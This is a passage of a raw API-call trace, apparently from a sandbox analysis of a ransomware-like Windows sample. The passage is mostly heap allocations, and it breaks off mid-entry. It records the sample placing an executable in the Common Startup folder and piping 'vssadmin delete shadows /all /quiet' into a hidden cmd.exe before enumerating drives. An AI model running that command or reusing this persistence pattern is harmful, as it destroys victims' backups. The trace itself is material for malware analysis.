lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d540, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0174.451] RegCloseKey (hKey=0xe4) returned 0x0 [0174.451] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7db8 | out: hHeap=0x4b0000) returned 1 [0174.451] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0174.451] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.451] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cb0 | out: hHeap=0x4b0000) returned 1 [0174.451] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe", lpDst=0x50d538, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe") returned 0x48 [0174.451] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d540 | out: hHeap=0x4b0000) returned 1 [0174.451] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d538 | out: hHeap=0x4b0000) returned 1 [0174.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x2120020 [0174.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.451] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e59e0 [0174.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.451] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e5a30 [0174.451] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.451] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.451] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0174.451] lstrlenW (lpString="kernel32.dll") returned 12 [0174.451] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e59e0 | out: hHeap=0x4b0000) returned 1 [0174.451] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.451] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5a30 | out: hHeap=0x4b0000) returned 1 [0174.452] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0174.452] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.452] CloseHandle (hObject=0xe4) returned 1 [0174.452] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.452] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e5a30 [0174.452] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.452] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e59e0 [0174.452] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.452] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.452] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0174.452] lstrlenW (lpString="kernel32.dll") returned 12 [0174.452] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e59e0 | out: hHeap=0x4b0000) returned 1 [0174.452] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.452] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5a30 | out: hHeap=0x4b0000) returned 1 [0174.452] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x2120020 | out: hHeap=0x4b0000) returned 1 [0174.452] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eb528 | out: hHeap=0x4b0000) returned 1 [0174.452] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb530 | out: hHeap=0x4b0000) returned 1 [0174.452] lstrlenW (lpString="%windir%\\System32") returned 17 [0174.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6aa8 | out: hHeap=0x4b0000) returned 1 [0174.453] lstrlenW (lpString="%appdata%") returned 9 [0174.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4498 | out: hHeap=0x4b0000) returned 1 [0174.453] lstrlenW (lpString="%sh(Startup)%") returned 13 [0174.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4470 | out: hHeap=0x4b0000) returned 1 [0174.453] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0174.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6af0 | out: hHeap=0x4b0000) returned 1 [0174.453] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.453] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4c4470 [0174.453] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4470, Size=0x40) returned 0x4e6af0 [0174.453] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6af0, Size=0x80) returned 0x50b550 [0174.453] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.453] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4c4470 [0174.453] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1fffc) returned 0x4eb528 [0174.453] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d538 [0174.453] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d540 [0174.453] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.453] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4c4498 [0174.453] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4498, Size=0x40) returned 0x4e6af0 [0174.453] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6af0, Size=0x80) returned 0x50b5d8 [0174.453] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b5d8, Size=0x100) returned 0x4e7cb0 [0174.453] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cb0 | out: hHeap=0x4b0000) returned 1 [0174.453] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x50d538, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0174.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d540 | out: hHeap=0x4b0000) returned 1 [0174.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d538 | out: hHeap=0x4b0000) returned 1 [0174.453] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0174.454] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0174.454] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0174.454] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0174.454] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x4a0, dwThreadId=0x5fc)) returned 1 [0174.462] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0174.462] WriteFile (in: hFile=0xec, lpBuffer=0x50b550*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x50b550*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0174.462] CloseHandle (hObject=0xfc) returned 1 [0174.462] CloseHandle (hObject=0xf8) returned 1 [0174.463] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eb528 | out: hHeap=0x4b0000) returned 1 [0174.463] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0174.463] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b550 | out: hHeap=0x4b0000) returned 1 [0174.463] lstrlenW (lpString="%comspec%") returned 9 [0174.463] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4470 | out: hHeap=0x4b0000) returned 1 [0174.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0174.463] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4b58 [0174.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4e4b58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0174.464] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c48a8 [0174.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4c48a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0174.464] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b70 [0174.464] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b70, Size=0x20) returned 0x4c4470 [0174.464] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4470, Size=0x40) returned 0x4e6af0 [0174.464] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0174.464] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xd0) returned 0x4e7d28 [0174.464] GetLogicalDrives () returned 0x4 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10014) returned 0x4eb528 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b70 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b70, Size=0x20) returned 0x4c4470 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4470, Size=0x40) returned 0x4e6b80 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b80, Size=0x80) returned 0x50b550 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x4e9298 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9298, Size=0x200) returned 0x4e9298 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9298, Size=0x400) returned 0x4e9298 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9298, Size=0x800) returned 0x4e98b0 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e98b0, Size=0x1000) returned 0x4fb548 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x50d538 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b70 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4c48 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4850 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4c60 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4860 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4c78 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4860, Size=0x8) returned 0x4c4860 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4c90 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4860, Size=0x10) returned 0x4c4818 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4ca8 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4cc0 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4818, Size=0x20) returned 0x4e7bb0 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4cd8 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4860 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4cf0 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4d08 [0174.465] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e7bb0, Size=0x40) returned 0x4e53d8 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4d20 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4d38 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4d50 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4d68 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4d80 [0174.465] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4d98 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e5420 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4db0 [0174.466] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e53d8, Size=0x80) returned 0x4e9298 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4dc8 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4de0 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4df8 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4e10 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e98c8 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e98e0 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e98f8 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4818 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9910 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9928 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9940 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9958 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9970 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9988 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e99a0 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99b8 [0174.466] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9298, Size=0x100) returned 0x4e9298 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99d0 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99e8 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a00 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e9a18 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a30 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a48 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4828 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a60 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a78 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a90 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4e7bb0 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9aa8 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ac0 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e7bc0 [0174.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ad8 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9af0 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9b08 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b20 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b38 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b50 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e9b68 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9b80 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e9b98 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9bb0 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9bc8 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9be0 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9bf8 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e7bd0 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c10 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c28 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c40 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c58 [0174.467] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9298, Size=0x200) returned 0x4e9298 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c70 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e53d8 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9c88 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9cc8 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ce0 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9cf8 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d10 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d28 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d40 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d58 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9d70 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9d88 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9da0 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9db8 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9dd0 [0174.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9de8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9e00 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e18 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9e30 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9e48 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e60 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e78 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9e90 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e53e8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ea8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ec0 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ed8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e53f8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ef0 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9f08 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f20 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f38 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f50 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f68 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f80 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9f98 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9fb0 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9fc8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9fe0 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ff8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea010 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4ea028 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea040 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea058 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea070 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea088 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea0c8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea0e0 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea0f8 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4fc568 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4fc578 [0174.468] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea110 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea128 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea140 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea158 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea170 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4ea188 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea1a0 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea1b8 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea1d0 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea1e8 [0174.469] RtlAllocateHeap 